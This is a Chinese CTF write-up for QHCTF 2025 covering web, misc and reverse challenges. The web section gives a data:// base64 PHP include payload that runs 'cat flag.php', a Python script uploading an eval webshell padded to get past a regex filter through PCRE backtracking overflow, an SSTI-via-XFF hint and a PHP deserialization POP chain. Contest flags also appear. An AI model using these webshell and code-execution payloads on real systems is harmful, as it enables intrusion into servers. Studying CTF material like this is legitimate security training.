第一届启航杯
WEB
Easy include
<?php
error_reporting(0);
//flag in flag.php
$file=$_GET['fil e'];
if(isset($file))
{if(!preg_match("/flag/i",$file)){include($file);}else{echo("no no no ~ ");}
}
else
{highlight_file(__FILE__);
}?>
payload:
http://154.64.245.108:33198/?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgIGZsYWcucGhwJyk7Pz4=
Web_IP
打开hint.php发现这句话 尝试写入XFF头
多次尝试后发现是SSTI的XFF头注入 直接读取flag就行
PCREMagic
<?php
function is_php($data){return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}if(empty($_FILES)) {die(show_source(__FILE__));
}$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {echo "bad request";
} else {if (!is_dir($user_dir)) {mkdir($user_dir, 0755, true);}$path = $user_dir . '/' . random_int(0, 10) . '.php';move_uploaded_file($_FILES['file']['tmp_name'], $path);header("Location: $path", true, 303);exit;
}
?> 1
这是一题PHP正则回溯溢出绕过
我们需要上传webshell来控制后台,但是is_php()函数对文件内容做了正则检测;关键点就是需要突破正则检测。
import requests
from io import BytesIOurl = "http://8.219.82.75:32983"files = {'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
}res = requests.post(url=url, files=files, allow_redirects=False)print(res.headers)
QHCTF{037c9d2c-1f5a-4f00-a471-03d5ffe3ae40}
Web_pop
__isset:当对不可访问属性调用isset()或empty()时调用,在eeee中出现isset;
__clone:当对象复制完成时调用,在Easy中出现。这题中要让Sec的var等于eeee这个类
__call:在对象中调用一个不可访问方法时调用,在Sec中的toString中调用
__toString:在Start中出现echo $name
<?php
highlight_file(__FILE__);
class Start{public $name;public $func;
}class Sec{public $obj;public $var;
}class Easy{public $cla;
}class eeee{public $obj;
}$res = new Start;
$res->name = new Sec;
$res->name->obj = new Easy;
$res->name->var=new eeee;
$res->name->var->obj=new Start;
$res->name->var->obj->func=new Sec;
echo serialize($res);
?>O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:3:"var";r:4;}s:4:"func";N;}
QHCTF{138118b4-9ad3-4db2-8d68-3e68660d7703}
MISC
QHCTF For Year 2025
QHCTF{FUN}
请找出拍摄地所在位置
PvzHE
QHCTF{300cef31-68d9-4b72-b49d-a7802da481a5}
Reverse
Checker
对一组十六进制数进行解码,具体通过对每个数字进行按位异或(XOR)运算来还原成对应的字符,最终拼接成一个字符串并输出。
# 原始十六进制列表
hex_list = [0x72, 0x6B, 0x60, 0x77, 0x65, 0x58, 0x46, 0x46, 0x15, 0x40, 0x14, 0x41,0x1A, 0x40, 0x0E, 0x46, 0x14, 0x45, 0x16, 0x0E, 0x17, 0x45, 0x42, 0x41,0x0E, 0x1A, 0x41, 0x47, 0x45, 0x0E, 0x46, 0x42, 0x13, 0x14, 0x46, 0x13,0x10, 0x17, 0x45, 0x15, 0x42, 0x16, 0x5E
]# 解码结果存储在此字符串中
decoded_flag = ''# 遍历列表,对每个元素进行异或操作并转换为字符
for hex_value in hex_list:decoded_flag += chr(hex_value ^ 0x23)# 打印解码后的字符串
print(decoded_flag)
rainbow
# 初始化十六进制数据列表
hex_list = [0x0B, 0x12, 0x19, 0x0E, 0x1C, 0x21, 0x3B, 0x62, 0x68, 0x68, 0x6C, 0x6B,0x6A, 0x69, 0x77, 0x6F, 0x3B, 0x63, 0x3B, 0x77, 0x6E, 0x3C, 0x3B, 0x6D,0x77, 0x3B, 0x38, 0x39, 0x3C, 0x77, 0x3E, 0x3F, 0x3B, 0x6E, 0x69, 0x62,0x3B, 0x6D, 0x39, 0x3F, 0x6D, 0x62, 0x27
]# 初始化空字符串,用于存储解码后的字符
decoded_flag = ''# 遍历每个十六进制值,进行解码操作
for value in hex_list:# 异或操作,解码数据,并转换为对应的字符decoded_flag += chr(value ^ 90)# 输出解码后的字符串
print(decoded_flag)
小明的note
#include <stdio.h>
#include <string.h>// 解密函数
void decrypt_flag(const char *encrypted_data, char *decrypted_data, int key) {// 提取密钥的字节部分unsigned char key_parts[4];key_parts[0] = key & 0xFF; // 提取最低字节key_parts[1] = (key >> 8) & 0xFF; // 提取次低字节key_parts[2] = (key >> 16) & 0xFF; // 提取次高字节key_parts[3] = (key >> 24) & 0xFF; // 提取最高字节// 获取加密数据的长度int data_length = strlen(encrypted_data);for (int i = 0; i < data_length; ++i) {// 使用异或运算进行解密decrypted_data[i] = (key_parts[i % 4] ^ encrypted_data[i]) ^ (i + 1);}// 添加字符串结束符decrypted_data[data_length] = '\0';
}int main() {// 加密后的数据const char encrypted_data[] = {0x12, 0x7D, 0xE1, 0x2C, 0x01, 0x4A, 0xC4, 0x45, 0x78, 0x5E, 0xC9, 0x46, 0x78, 0x5D, 0x83, 0x0F, 0x37, 0x12, 0xD0, 0x45, 0x63, 0x42, 0xD5, 0x57, 0x76, 0x14, 0xDE, 0x06, 0x6E, 0x04, 0x8F, 0x3E, 0x50, 0x21, 0xE1, 0x3B, 0x53, 0x72, 0xB7, 0x6C, 0x5D, 0x79, 0xF7, 0xE8};// 定义密钥int key = 2090940226;// 解密结果存储的缓冲区int encrypted_length = sizeof(encrypted_data);char decrypted_data[encrypted_length + 1]; // +1 预留空间给结束符// 解密操作decrypt_flag(encrypted_data, decrypted_data, key);// 打印解密后的数据printf("Decrypted flag: %s\n", decrypted_data);return 0;
}